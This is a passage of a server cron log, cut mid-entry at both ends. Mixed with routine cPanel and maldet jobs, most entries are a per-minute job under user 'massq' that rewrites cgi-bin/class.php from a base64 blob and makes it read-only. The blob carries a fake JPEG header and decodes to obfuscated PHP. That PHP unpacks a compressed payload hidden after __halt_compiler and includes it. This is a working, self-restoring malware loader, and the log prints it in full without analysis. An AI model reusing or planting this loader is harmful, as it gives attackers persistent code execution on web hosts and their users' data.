uUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:19:01 server CROND[24991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:20:01 server CROND[25058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:20:01 server CROND[25059]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 21:20:01 server CROND[25064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:20:01 server CROND[25062]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 21:20:01 server CROND[25063]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:21:01 server CROND[25290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:22:01 server CROND[25345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:23:01 server CROND[25393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:24:01 server CROND[25443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:25:01 server CROND[25504]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:25:01 server CROND[25505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:25:01 server CROND[25506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:26:01 server CROND[25712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:27:01 server CROND[25775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:27:01 server CROND[25776]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 21:28:01 server CROND[25842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:29:01 server CROND[25893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:30:01 server CROND[25948]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 21:30:01 server CROND[25949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:30:01 server CROND[25950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:30:01 server CROND[25951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:31:01 server CROND[26059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:32:01 server CROND[26118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4